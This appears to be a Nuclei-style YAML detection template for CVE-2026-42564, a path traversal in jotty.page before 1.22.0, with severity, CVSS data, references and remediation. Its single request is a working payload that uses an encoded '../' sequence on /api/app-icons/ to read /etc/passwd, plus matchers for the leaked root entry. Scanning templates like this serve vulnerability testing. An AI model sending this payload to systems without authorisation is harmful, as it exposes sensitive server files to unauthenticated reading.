jotty.page < 1.22.0 - Path Traversal

id: CVE-2026-42564

info:
  name: jotty.page < 1.22.0 - Path Traversal
  author: Het-Kalariya
  severity: high
  description: |
    jotty·page < 1.22.0 contains a path traversal caused by lack of validation on filename parameter in /api/app-icons/[filename], letting unauthenticated attackers read arbitrary files outside intended directory.
  impact: |
    Unauthenticated attackers can read arbitrary files outside the intended directory, potentially exposing sensitive data.
  remediation: |
    Update to version 1.22.0 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42564
    - https://github.com/fccview/jotty/security/advisories/GHSA-7843-gwq8-g96f
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-42564
    epss-score: 0.00428
    epss-percentile: 0.36014
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: fccview
    product: jotty
  tags: cve,cve2026,jotty,lfi,traversal,unauth

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/app-icons/..%2F..%2F..%2F..%2Fetc%2Fpasswd'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(content_type), "application/octet-stream")'
          - 'regex("root:.*:0:0:", body)'
        condition: and
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